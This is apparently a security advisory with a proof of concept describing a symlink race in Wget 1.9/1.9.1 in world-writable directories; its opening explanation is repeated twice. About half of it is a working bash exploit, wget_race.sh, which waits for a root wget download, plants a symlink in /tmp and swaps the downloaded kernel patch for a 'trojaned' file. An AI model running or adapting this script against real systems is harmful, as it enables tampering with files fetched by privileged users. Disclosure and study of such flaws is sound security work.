Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)
This is the attack sequence:
1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place
As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking".
1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
Tested software: Wget 1.9, Wget 1.9.1
Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)
This is the attack sequence:
1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place
As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking".
1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2
3) Check the content of /tmp/patch-2.4.26.bz2
Smile :-)
--------------- wget_race.sh ------------------------
#!/bin/bash
rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."
while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done
echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."
b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"
ls -la /tmp/patch-2.4.26.bz2
else
b=`pgrep -u root wget`
touch $b.wget
fi
done
-----------------------------------------------------
This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.
Hugo Vazquez Caramés
hugo (at) infohacking (dot) com [email concealed]
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